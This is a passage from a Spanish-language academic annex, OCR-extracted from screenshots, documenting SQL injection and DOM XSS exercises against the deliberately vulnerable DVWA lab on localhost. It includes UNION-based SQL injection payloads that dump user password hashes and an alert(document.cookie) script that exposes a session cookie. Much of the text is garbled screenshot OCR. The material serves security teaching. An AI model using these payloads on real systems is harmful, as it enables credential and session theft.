actions. Note, there are alsa various public methods at bypassing these protections (so this can be seen as an
extension for more advanced users)!

There is a help button at the bottom of each page, which allows you to view hints & tips for that vuinerability.

There are also additional links for further backﬁvmmﬂ vea(lmi which relates to that secunxlssue

34. Se crea la base de datos al dar clic en la opcion “Create/Reset Database”

Imagen 33: Portal de configuracién

Archivo Maquina Ver Enirada
VBEmP Ol
« Setup :: Damn Vulneral

@

# Kali Tools

vos  Ayuda

1

+

O & 192168114

» KaliDocs ¥ Kali Forums X Kali

Username: admin
Security Level: impossible
Locale: en

PHPIDS: disabled

SQLi DB: mysgl

letHunter Exploit

Google Hacking DB

| Create 1 Reset Database |

Database has been created,

‘users' table was created.

Data inserted into ‘users' table.
‘guestbook’ table was created.
Data inserted into 'guestbook’ table.

Backup file /config/config.inc. php.bak automatically
created

Setup successful!

Imagen 34: Creacion de la base de datos
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35. Una vez fianlizado la creacion de la base de datos, se redirecciona al login del entorno
para realizar el ingreso de las credenciales del sitio “admin” como username y
“password” en password.

Archivo  Maqina Entrada

Bomp oo

Login :: Damn Vulnerable

@ U @ o 192168114

Kali Linux #8 KaliTools # KaliDocs % Kali Forums e Kali NetHunter

Exploit-DB % Google HackingDB [ O

<)
DVWA

Username

admin

Password

36. Inicio del portal

Archivo  Méquina Entrada
Sembky

<3 Welcome :: Damn Vulne:

]

KaliLinux 48 KaliTools # Kali D

Instructions
Setup | Reset DB

Brute Force
‘Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

‘CSP Bypass
JavaScript

s X Kali Forums & Kali NetHunter

Exploit-DB

Google Hacking
Nz

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of
difficultly, with a simple straightforward interface.

General Instructions

Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next ane. There
is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.

Please note, there are both and ity with this software. This is
intentional. You are encouraged to try and discover as many issues as possible.

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious
actions. Note, there are also various public methods at bypassing these protections (so this can be seen as an
extension for more advanced users)!

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
There are also additional links for further background reading, which relates to that security issue.

WARNING!

Imagen 36: Bienvenido al Danm Vulnerable Web Application
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ANEXO 4:
EXPLOTACION



ESCENARIOS M.V DVWA

ESCENARIOS DE PRUEBAS

PRUEBA DE INJECTION SQL

Escenario #1: Insercion de codigo SQL en Fomurlario Web

Objetivo: Robar las contrasefias de los 5 usuarios que existen en la base de datos

Complejidad: Bajo

Tiempo: 25 minutos

1.

Una vez iniciado la sesién al entorno de trabajo, en el sector izquierdo se encuentra
el panel con las diversas pruebas y asi mismo la opcion de configuracion de seguridad.
Dar clic en “DVWA Security” para configurar el nivel de seguridad, y seleccionar el
nivel “low” y dar clic enviar para implementar la configuracion.

Home
Instructions
Sotup / Resot DR

X85 (DOM)
XS5 (Reflocted)

X858 (Stored)
CSP Bypans
Javascript

PHPIDS

PHP Info
About

Imagen 37: Nivel de seguridad bajo - DVWA

Una vez hecha la configuracién correspondiente, en el mismo panel seleccionar el
apartado “SQL INJECTION” para empezar la prueba

€3 Vulnerability: SQL Injection = Dar X +

<4 c 0  ® localhost

Vulnerability: SQL Injection

Home |
T |
Setup / Reset DB | User ID: [ |[ Submit ]

Brute Force
Command injection More Information
CSRF

File Inclusion

File Upload
Insecure CAPTCHA

SQL Injection (Blind)
Weak Session IDs
XS5 (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass
Javaseript

|
DVWA Security |
PHP Info |
About |

|

View Saurce | View Help |

Sec i: low

Imagen 38: Escenario SQL INJECTION - DVWA
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3. En la parte superior se encuentra dos opciones “View Help” y “View Source”, dar
clic en View Source

€3 Vulnerability: SQL Injection = Dar: X +

4 [¢7 A  © localhost/DVWA

e Vulnerability: SQL Injection

Setup / Reset DB, User ID:

Brute Force |
Command injection More Information

CSRF
File Inclusion

Insecure CAPTCHA

SQL Injection (Blind)
Weak Session IDs

XSs (DOM)
X$3 (Reflected)
XSS (Stored)
CSP Bypass

JavaScript

DVWA Security
PHP Info
About

Logout

Usemame: admin View Source | View Help

Imagen 39: Opciones del escenario - dar click View Source

4. Aparece una ventana emergente mostrando el cddigo fuente del formulario
correspondiente a su nivel de seguridad. Al observar el cédigo se identifica como
existe una solicitud de entrada por ID, que luego es checheada en la base de datos
mediante una consulta, devolviendo informacion necesaria cumpliendo que el user_id
es igual al ID de solicitud de entrada, para asi mostrar el resultado en pantalla y cerrar
la conexion de la base de datos tras la ejecucion de la accion

&3 Damn Vulnerable Web Application (DVWA) v1.10 *Development* imn Vulnerable Web Application (DVWA) v1.10 *Development* - Brave
@ localhost/DVWA/vulnerabilities/view_source.php?id=sq

SQL Injection Source

vulnerabilities/sqli/source/low.php
<?php
1f( isset( $_REQUEST[ "Submit’ ] ) ) {

$id = § REQUEST[ 'id" 1;

pre>' . ((is_object(SGLOBALS[" __ mysqli_ston"])) ? mysqli_error(SGLOBALS["__mysqli_ston"]) : ((S__mysqli_res = mysqli_connect_error()

name: (BFirsti<br />Surnans: (Slast)</pre’;

Compare Al Levels

Imagen 40: Caodigo fuente nivel de seguridad bajo
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5. Una vez identificado como funciona el cddigo, se realiza la basqueda de informacion
de como insertar la injection en base al siguiente link “https://portswigger.net/web-
security/sql-injection” encontrando diversas opciones de consulta ¢ informacion del
ataque.

B What is SQL Injection? Tutorial & X+

4 b C [ & portswigger.net,

aprendizaje temas laboratorios misterio fama certificacion

Inyeccion SQL

En esta seccion, explicaremos qué es la inyeccién SQL ( SQLI ), describiremos algunos ejemplos comunes,
explicaremos cémo encontrar y explotar varios tipos de vulnerabilidades de inyeccion SQL, y resumir cémo prevenir

¢ Desea seguir su progreso y
tener una experiencia de
aprendizaje mas personalizada?

( jEs gratis! )

la inyeccion de SQL

' UNION SELECT username, password FROM users--

SELECT name, description FROM products WHERE category
— 'Gifts' UNION SELECT username, password FROM users--

En este tema
Inyeccion SQL »
Ataques de la UNION >

Examinando la base de datos »
Inyeccién SQL ciega >

Hoja de trucos de inyeccién
sQL »

t —4—(* All passwerds

RS
(& Allusernames )

Todos los temas
< Inyeccion SQL » B

Imagen 41: Consulta de Injection SQL en portswigger

6. Seinsertaunainyeccion sql basica para recuperar informacion “1° or ‘1’="1, en donde
sin conocer la informacion de los usuarios la sentencia procede a tener clausulas si es
False o True en donde la orden ‘or ‘1’=" provoca que las clausulas de informacién
sean verdaderas.

©J Vulnerability: SQL Injection = Dar X

4 > C O O localhost

oD Vulnerability: SQL Injection

Setup / Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA

User ID: [1'or '1'=1 Submit

More Information

el )|
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

Javascript

DVWA Security
PHPInfo
About

Logout

Username: admin ey e
se:umi Level: low View Source | View Hel | -

Imagen 42: Prueba con 1 or 1=1
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7. A dar enviar se recupera informacion de los 5 usuarios como el first name, surname.

3 Vulnerability: SQL Injection = Dar X

4 [¢]

) Vulnerability: SQL Injection

Setup [ Reset DB UzerID:

Brute Force it
Command Injection

CSRF

File Inclusion

File Upload

 saLiecton |
I 3
XSS Refloctod) |
EEEET—
CcspBypass | More Information

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Helj
ecuiy Lovel low View Source | Visw Help | -

Imagen 43: Resultado de la consulta realizada

8. Teniendo en cuenta esa informacion, se realiza la interpretacion adecuado para robar
la contrasefia de los 5 usuarios. Se inserta una inyeccion por UNION en la que permita
recuperar todo mediante la siguiente consulta ““UNON SELECT username, password
FROM users# llamando a las dos columnas username y password, al dar clic enviar
se recupera lo requerido.

) Vulnerability: SOL Injection = Dar % {{

= Vulnerability: SQL Injection

Setup [ Reset DB User ID

Brute Force
‘Command Injection
CSRF

File Inclusion

File Upload

xssoow |
XSS (Reflected) |
XSS (Stored)
lcspBypsss | More Information

Javascript

DVWA Security
PHPInfo.
About

Logout

Usernar imin View Source | View Hel
Security Level: low 2

Imagen 44: Consulta para recuperar usuario y contrasefia en la base de datos
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Escenario #2: Insercion de codigo SQL en Formulario Web — Cuadro de seleccién
individual

Objetivo: Robar las contrasefias de los 5 usuarios que existen en la base de datos
Complejidad: Medio

Tiempo: 30 minutos

9. En el mismo apartado de “DVWA Security se realiza el cambio de seguridad a nivel
medio

¢J DVWA Security = Damn Vulneral: x [l I

< Cc o

DVWA Security »
Instructions
Setup / Reset DB

Security Level

You
‘Command Injection level of DVWA

CSRF
File Inclusion

File Upload

Insecure CAPTCHA

|
|
|
Bnute Force |
|
|

|

|

QL Injection |
SQL Injection (Blind) |
Weak Session IDs |
XSS (DOM) |
X§§ (Reflectad) |
XSS (Stored) |
|

|

|

|

|

|

(EEdum )| Suomit

PHPIDS

V0.6 (PHP-Intruzion Detection System) iz a sacurity layer for PHP based web applications.

CSP Bypass
Javascript

PHP Info
About

Logout

Usermame: admio

Imagen 45: Configuracion del nivel de seguridad — Medio

10. Ahora al seleccionar el apartado de SQL INJECTION el formulario web tiene
afiadido un cuadro de seleccién individual, aquella que al seleccionar el 1D presenta
la informacion requerirle.

3 Vulnerability: SQL Injection = Dar X+

< C 0O  © Iocalhost

e Vulnerability: SQL Injection
Instructions
Setup / Reset DB

More Information

XSS (Reflected)
XSS (Stored)
CSP Bypass.
JavaScript

DVWA Security
PHP Info
About

Logout

View Source | View Help -

Imagen 46: Escenario SQL INJECTION — MEDIO
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11. Dar clic en view soruce para observar el cddigo con el nivel de seguridad media

©J Vulnerability: SQL Injection =z Dar X 4

4 C 0 @ localhost/DVWA/vulnerabilities/sqli/*

) Vulnerability: SQL Injection

Instructions
Setup [ Reset DB Uzer 1D

Brute Force Firs dnin
Command Injection Surnenes 2
CSRF

File Inclusion More Information
File Upload o

Insecure CAPTCHA

SQL Injection (Blind)
Weak Session Ds
XSS (DOM)

XSS (Reflected)

XSS (Stored)
CSPBypass
JavaSeript

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Hell
| B Secum‘ Level: medium View Source | View Help | -

Imagen 47: Dar clic en Viww Source

12. Al observar el codigo se identifica como el id es enviado como peticion POST en vez
de solicitud, y asi mismo es ajustada al método mysql_real_escape_string para crear
una cadena SQL legal para ser usada en la sentencia SQL para recuperar la
informacion de la consulta mediante user_id es igual a id.

1 Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Brave:

© localhost/DVWA,

SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

$id = $_POST[ i

$ig;

Squery CH
"1, $query) or die( '<pre>' . mysqli_error($GLOBALS["__mysqli ston"1) . '</pre>’ );

$result = mysqli_query($GLO:

echo "<pre>ID: {$id<or f>First name: {$Firsti<br />Surname: {$last}</pre>";

on"], Squery ) or die( 'cpre>’ . ((is_object(SGLOBALS["_mysqli_ston”])) ? mysqli_error(SGLOBALS["__mysqli_ston"]) : ((S__mysqli_res = mysqli_connect_error()) ?

Compare All Levels

Imagen 48: Cédigo Fuente — Nivel Medio
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13. Abrir la herramienta Burp Suite para capturar las peticiones que se realiza al enviar
la informacion del formulario. Se da clic en la opcion proxy para asi abrir el
navegador de la herramienta pre configurada para la captura.

Burp Project Intruder Repeater Window Help

Intercept is off

Burp Suite Community Edition v2022.12.5 - Temporary Project

Dashboard ~ Target  Prog  Infruder  Repeater  Sequencer  Decoder  Comparer  logger  Extensions  Leam
Intercept  HTTPhistory  WebSodkets history  Options

Open Browser

A

Intercept is off

When enabled, requests sent by Burp's browser are
held here 5o that you can analyze and modify them
before forwarding them to the target server,

Learn more

Open browser

X

{8} Settings

Imagen 49: Abrir BurpSuite

14. Se coloca la direccién del entorno y activamos la opcién de intercept off a On para
interceptar las peticiones al enviar el POST id en el cuadro de seleccién individual, y
se observa la peticion realizada en la venta intercepcion el ID.

Home

Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA

St injecion |
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Burp Project Intruder Repeater Window Help

Dashboard Target Intrudter Repeater
Comparer  logger  Extensions  Leam
HITPhistory  Websodkets history  Options
P Reauestta http/localhost80 [127.0.0:1]
Forward Drop Action Open 6.
Raw  Hex n o=

L POST /DVWA/vulnerabiliciesfsqlis HETTB/L.L
 Host: localhost

2 Comtent-Length: 18
che-Control: max-age=0
“Not?A_Brand";v='8",

Vulnerability: SQL Injection

e-ch-ua:

e-ch-ua-mobile: 20

sec-ch-ua-plat form:

2 Upgrade-Insecure-Requests: 1

S Origin: heep://localbost

10 Comtent-Type: application/x-www-form-urlencoded

1l User-Agenmt: Mozilla/5 0 (Windows NT 10.0; WinG4; x64)
AppleWebKic/537.36 (FHTML, like Gecko)
Chrome/108.0.5355.125 Safari/$37.35

12 Accept

0 text/htul, applicardon/sheulfxml amliq=0.%

,image/avif,image/webp,inage/apng,*/*;q=0. 8, applicaci

on/signed-exchange ;v=b3;q=0.5

e-Fetch-Site: same-origin

c-Fetch-Mode: navigace

e-Fetch-User: 71

c-Fetch-Dest: document

Referer: heep://localhost/DVWA/vulnerabilities/sqli/

16 Aecept-Encoding: gzip, deflate

15 Aecept-Language: es-ES,es;q=0.5

20 Cockie: security=medium; PHPSESSID=
foug3graneBiossedrdlolThe

21 Commection: close

“Chromium" ;u="108"

User 1D: [T v ] Submit |

“Windows"

More Information

23 id=laSubmit=Submit|

- 0@ >

0 matches

Imagen 50: Interceptar la accion en BurpSuite
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Sequencer Decoder
Inspector ] u |

Request Attributes

Request Query Parameters

Request Body Parameters

Request Cookies

Request Headers

[m} x

{8} Settings

wren (3)
- & X
2 v
0 v
PR
PR
n v




15. Al tener en cuenta dicho punto, se realiza la inspeccion del elemento y ver los valores
del cuadro de seleccion individual.

B sauinjection Web 3 Vulnerability: SQL Injection z Dar X @ que

d c O O lecalhost

| More Information

Imagen 51: Inspeccion de Elemento del Formulario

16. Se realiza el cambio del valor del cuadro de seleccidn individual de la opcién uno con
la siguiente consulta en el value “1 or 1=1 UNION SELECT user, password FROM
users# y en la descripcion de la opcion “UNION SELECT user, password FROM
users#” y damos submit.

(J Vulnerability: SQL Injection =Dar X @

0  © localhost,

Dimensiones: Reactivo ¥ | 768 75% ¥ Sin limitaciones ¥

| Vulnerability: SQL Injection

0. TGN SEIECT o, o PROM s v [ Sabr

| More Information

Imagen 52: Modificacion de valores
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17.Se envia la consulta y como resultado se recupera la informacion de
correspondiente de los usuarios incluyendo a la contrasefia de codificado.

N

injection UNION attacks | Wet &3 Vulnerability: SQL Injection = Dar X

< C B  © localhost

Home

Instructions

|
|
Setup | Reset DB |
Brute Force |
Command Injection |
CSRF
File Inclusion |
File Upioad |
Insecure CAPTCHA |
|
|

‘ L Injection (Blind)
Waak Session IDs
XSS (DOM) |
XSS (Reflected) |
XSS (Stored) |

CsP Bypass

JavaScript |

DVWA Security |
PHP Info |

About
Logout

Imagen 53: Resultado de la consulta — Nivel medio
Escenario#3: Insercion de codigo SQL en Formulario web — Variable de sesion
utilizando otra pagina
Objetivo: Robar las contrasefias de los 5 usuarios que existen en la base de datos
Complejidad: Alto

Tiempo: 45 minutos

18. En el mismo apartado de “DVWA Security se realiza el cambio de seguridad a nivel

medio
2]

hivo Maquina

Vrem

<« c

Kali Linux

# Kali Tools

QO D localhost

= KaliDocs & Kali

lome:
Instructions
Setup | Reset DB

Brute Force

Command Injection
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

CSP Bypass

Javascript

[ ovwasecury |

PHP info |
I

rums o Kali NetHunter
DV

Exploit-DB OffSec

Google Hacking DB

Security Level
Security level is currently: high.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
level of DVWA:

1. Low - This security level is completely vulnerable and has no security measures at all. Its use is to be
as an example of how web application vuinerabilities manifest through bad coding practices and to erve
as a platform to teach or leam basic exploitation tachniques.

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to Users 1o refine their
exploitation techniques.

3. High - This option is an extension to the medium difiiculty, with a mixture of harder o alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions

4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vuinerable
source code to the secure source code.

Brior to DUWA v1.9, this level was known as ‘high'.

High v | [ submit

PHPIDS
V0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. It is used in

DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFS can be circumvented.

Imagen 54: Configuracion de seguridad — Nivel Alto
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19. Se selecciona en el panel la opcion de SQL INJECTION vy al dar clic se observa
como existe un vinculo para acceder a una nueva ventana en donde se encuentra el
formulario web

© Vulnerability: SQL Injectic X 2

i C @ QO D localhost

KaliLinux # Kali Tools @ KaliDocs M Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Home | Vulnerability: SQL Injection
Instructions | o

Setup I Reset DB |

More Information
Brute Force |

Command Injection
CSRF

File Inclusion |
[T
Insecure CAPTCHA |
\
VSQI. Injection (Blind) |
Weak Session IDs |
XSS (DOM)
XSS (Reflected)

XSS (Stored) |

Imagen 55: Enlace a formulario

20. Dar clic en la parte inferior de la pagina la opcidon “View Source” para revisar el
cbdigo fuente con el nivel de seguridad alta. Se observa el cddigo respetivamente y
al mirar se identifica como el id es enviado como peticidn de variable de sesion que
ejercer una solicitud directa, sin embargo, la recuperacion de informacion es idéntica
como el nivel de seguridad bajo permitiendo inyectar.

I T
|

(DVWA) v1.10 *Development*Source : Damn Vulnerable Web Application (DVWA) v1.10 *Development* — Mozilla Firefox

O D localhost

SQL Injection Source
vulnerabilities/sqli/sourcelhigh.php
<?php

if( isset( $ SESSION [ 'id' 1)) {

$id = $_SESSION[ 'id' I;

$query = "SELECT first name, last name FROM users WHERE user id = '$id' LIMIT 1;";
$result = mysqli query($GLOBALS["  mysqli ston"], squery ) or die( '<pre>Something went wrong.</pre>' );
while( $row = mysqli_fetch assoc( $result ) ) {

$first = $row["first_name"];
slast = $row["last name'];

echo "<pre>ID: {$id}<br />First name: {$firstl<br />Surname: {$last}</pre>";
((is_null($_ mysqli_res = mysqli_close($GLOBALS["  mysqli ston"1))) 7 false : §_ mysqli_res);
}

7>

Compare All Levels

Imagen 56: Codigo fuente — Nivel Alto
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21. Al dar clic del vinculo que posiciona el formulario.

| & F1

SQL Injection Session Input :: Damn Vulnerable Web Application (DVWA) v1.10 *Development® — Mozilla Firefox

O O localhost

Submit

Close

Imagen 57: Ventana del formulario

22. Se inserta la consulta “ 1 "UNION SELECT user, password FROM users#” y enviar
la solicitud se recupera la informacion de los usuarios con las contrasefias.

Archivo  Maguina Ver Entrada
S emEPoi

O Vulnerability: SGL Inj v

O D localhost

« C @ QO D localhost/vulnerabilit li u )

N N Session ID: 1 ' UNION SELECT user, password FROM users#
KaliLinux §& Kali s @ KaliDocs % Kali Forums e\ Kali NetHunter Exploit-DB

o) o

Vulnerability: SQL Injection

Click

ID: 1 ' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1 ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327debsB2cf99

ID: 1 ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: €99a18c428ch38d5f260853678922e03

ID: 1 ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2¢3966d7e0d4fcc69216b

ID: 1 ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 8d107d69f5bbeddcade3de5c71e9e9b7

ID: 1 ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327debss2cf99

NEERENNNEREN BEN

Imagen 58: Resultado de la consulta — Nivel Alto
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Escenario#4: Insercion de codigo SQL en Formulario web — Variable de sesion
utilizando otra pagina

Objetivo: Robar las contrasefias de los 5 usuarios que existen en la base de datos
Complejidad: Imposible

23. En el mismo apartado de “DVWA Security se realiza el cambio de seguridad a nivel
imposible

a ¢

< ] O D localhost/st

KaliLinux # KaliTools + KaliDocs M Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Instructions
Setup / Reset DB Security Level

Security level is currently: impossible.
Brute Force
You can set the security level to low, medium, high or impossible. The security level changes the vuinerability

Command Injection level of DVWA:

CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vuinerabilities manifest through bad coding practices and to serve

e as a platform to teach or leam basic exploitation techniques.
File Upload 2. Medium - This setting is mainly o give an example to the user of bad security practices, where the
e —— developer has tried bt failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA fon techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of harder or aiternative bad
SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) compeitions
SQElkNsction] (i i) 4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable

Weak Session IDs source code to the Secure Source code.
Prior to DVWA v1.9, this level was known as "high’.
XSS (DOM)
e impossible v | (Submit
XSS (Stored)
CSP Bypass PHPIDS
LTI 0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

[ ovwa securty | PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. It is used in
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in

PHP Info same cases how WAFs can be circumvented.

About You can enable PHPIDS across this site for the duration of your session

Imagen 59: Configuracion de seguridad — Nivel Imposible

23. Una vez hecha la configuracion correspondiente, en el mismo panel seleccionar el
apartado “SQL INJECTION” para empezar la prueba.

(3 Vulnerability: SQL Injection = Dar X+

< C 0 ® localhost

o) Vulnerability: SQL Injection

Instructions
Setup [ Reset DB Userl:[ ][ submit]

Brute Force
Command Injection
CSRF

More Information

clusion
File Upload
Insecure CAPTCHA

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Username: admin S
Secunti Level: vniusslb\e View Source | View Help | -

Imagen 60: Escenario Formulario Web — Imposible
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24. Al dar clic en la opcion “View Source” para revisar el cddigo, se identifica como
existe un check de verificacion por Token como solicitud de inicio de sesion de
usuario, para luego validar si el ingreso de la id es valor numérico, para verificar el
tipo de atributo en la base de datos. Por ende, la ejecucion del ataque no se realiza
con éxito.

o Maquina Ver Entrada Dispositivos Ayuda

Ao
BeomP o]

a4i-b<

1
> Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vull

O O localhost

7php
if( isset( $_GET[ 'Submit' 1 ) ) {
checkToken( $_REQUEST[ 'user token' |, $_SESSION[ 'session token' ], 'index.php' );
$id = $ GETI id' 1;
if(is_numeric( $id )) {
$data = $db->prepare( 'SELECT first name, last name FROM users WHERE user id = (:id) LIMIT 1;' );
m $id, PDO::PARAM_INT );

if( $data->rowCount() == 1) {

$first = $rowl 'first
slast = $rowl 'last

echo “<pre=ID: {$id}<br />First name: {$first}<br /=Surname: {$last}</pre=

Imagen 61: Codigo Fuente — Nivel Imposible
PRUEBA XSS (DOM)
Escenario#5: Inyectar script malicioso en Formulario Web - Cuadro de seleccion
Individual
Objetivo: Robar Cookie mediante la ejecucion de script malicioso
Complejidad: Bajo
Tiempo: 20 minutos

23. En el panel dar clic en la opcion “DVWA Security” y cambiar la seguridad a bajo

na Ver Entrada Dispositvos

OF]~| 1 2 3 @ F | Wkl o a 120 | @ &

OffSec

Instructions |
Setup / Reset DB | Security Level

ntly: low.

Brute Force |
Command Injection |
CSRF |
File Inclusion |
File Upload |
Insecura CAPTCHA |
SQL Injection |
SQL Injection (Biina) |
Weak Session IDs |

|

|

XSS (DOM)

T Low ~ [ submit
XSS (Stored)
CSP Bypass | PHPIDS
Javascript | N

|
PHP Info |

Imagen 62: Configuracion de seguridad — Nivel Bajo
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24. En el panel se selecciona la opcion XSS (DOM)

7 Vulnerability: DOM Based Cross © X+

d (¢}

O © locakhost

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF
xsspom |
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Username: admin
Security Leval: low

Vulnerability: DOM Based Cross Site Scripting (XSS)

Please thoose a language

Spanish

engish  [FMation
French
Spanish
German

M

View Source | View Help .

Imagen 63: Escenario XSS (DOM)

25. Se dar clic en “View Source” para revisar el codigo fuente del nivel bajo, y solo se

halla un comentario.

Archivo Maquina Ver Entrada Dispositivos Ayuda

B EaPo| 23 +|n5

T T
bl o o

20| & 6

) Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (DVWA) v1.10 *D

QO D localhost/vul

Unknown Vulnerability Source
vulnerabilities/xss_dIsourcellow.php

<?php

Compare All Levels

& =

JavaScript |

DVWA Security |
PHP Info |
About |

Logout \

Username: admin
Security Level: low
PHPIDS: disabled

View Source ‘ View Help

Imagen 64: Cddigo fuente —Nivel Bajo

106



26. Se realiza la seleccion de un idioma y al dar enviar se crea una opcion en el cuadro
de seleccion individual, por ende, se procede a inspeccionar el elemento.

Archivo Maquina Ver Entrada Dispositivos Ayuda

B oaP9 |1 23 4|e 5 o BARE ) O : 23| & 6

@ Vulnerability: DOM Basec X +

(3 C @ O D localhost

KaliLinux § Kali Tools  KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Vulnerability: DOM Based Cross Site Scripting (XSS)

Home

Please choose a language:

|
Instructions ‘
Setup | Reset DB |

|

[English v | Select
Brute Force

Command Injection

CSRF |

English

English
File Inclusion ‘

File Upload |

Insecure CAPTCHA
SQL Injection
SQL Injection (Blind) |

Weak Session IDs |

XSS (Reflected)

XSS (Stored) |

LT .

French
Spanish

German

Imagen 65: Seleccién de una opcién

27. Se observa como el valor creado se muestra desahibilidado permitiendo asi modificar
el envid del valor a “<script>alert()</script>

Archivo M&quina Ver Entrada Dispositivos Ayuda

’Q SEm ko] 2.3 4| F lllhu..u‘..mum.m

3 Vulnerability: DOM Basec

&« C @ Q D localhost

Kali Linux g8 KaliTools # KaliDocs & Kali Forums X Kali NetHunter Exploit-DB % Google Hacking DB ' OffSec

e Vulnerability: DOM Based Cross Site Scripting (XSS)

Setup | Reset DB Please choose a language:

English v | Select
Brute Force
(Commandiniection | pore Information
CSRF

Imagen 66: Modificacion del valor de la opcion seleccionada
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28. Se inserta en la funcion alert (“document.cookie”) y como descripcion el nombre del
script para realizar envié de peticion

¢J Vulnerability: DOM Based Cross & X 4

4 Cc 0 © localhost

Dimensiones: Reactivo ¥ | 768 5 in limitaciones ¥

D)

Vulnerability: DOM Based Cross Site Scripting (XSS)

More Information

Fil Incluslon
Fi8 upiosa

Insscurs CAFTCHA,
saLinjecton |
saLnjecton @ing) |
Wask Sassion s

X85 (Reflctod)

X85 Storec)

s | nornat ;
Javascript | ck;

DV Secuty
)
About

Logaut

Usemame: s View Source | View Hep |
‘sacunty Levl: o . |
PHPIDS: deaties

Imagen 67: Insertar el script malicioso en la opcién

29. Se muestra en pantalla la ejecucidn exitosa del script malicioso en el entorno.

@ Vulnerability: DOM Based Cross & X +

4 X 0 © localhost

Dimensiones: Reactivo ¥ | 768 5% ¥ ’
localhost dice

security=low; PHPSESSID=>5qrfoldit8rp7cmikovbnj3151

i Consola

B O tpr @ | publ

&8 29°C Mayorm. nubla... ~ % %O ESP

11/02/2023 D

Imagen 68: Resultado del script — cookie hallado
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Escenario#6: Inyectar Script malicioso en Formulario Web — Cuadro de seleccion

individual

Objetivo: Robar Cookie mediante script malicioso

Complejidad: Medio

Tiempo: 7 minutos

30. Dar clic en la opcion “DVWA Secutiy” para cambiar el nivel de seguridad a medio

Archivo Miquna Ver Entrada Dispositvos Ayuda
BemPor
© DVWASecurity::DamnV X +

(5 C @ O D localhost

Home
Instructions

Setup / Reset DB |

_Brute Force ‘
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
Weak Session Ds
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript |

a 34 | & C

Bl Screenshot taken
B

OffSec

Security Level
Security level is currently: low.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
level of DVWA

1. Low - This security level is completely vulnerable and has no security measures atall. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation techniques,

Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
exploitation techniques.

High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions

Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Prior to DVWA V1.9, this level was known as ‘high'.

~
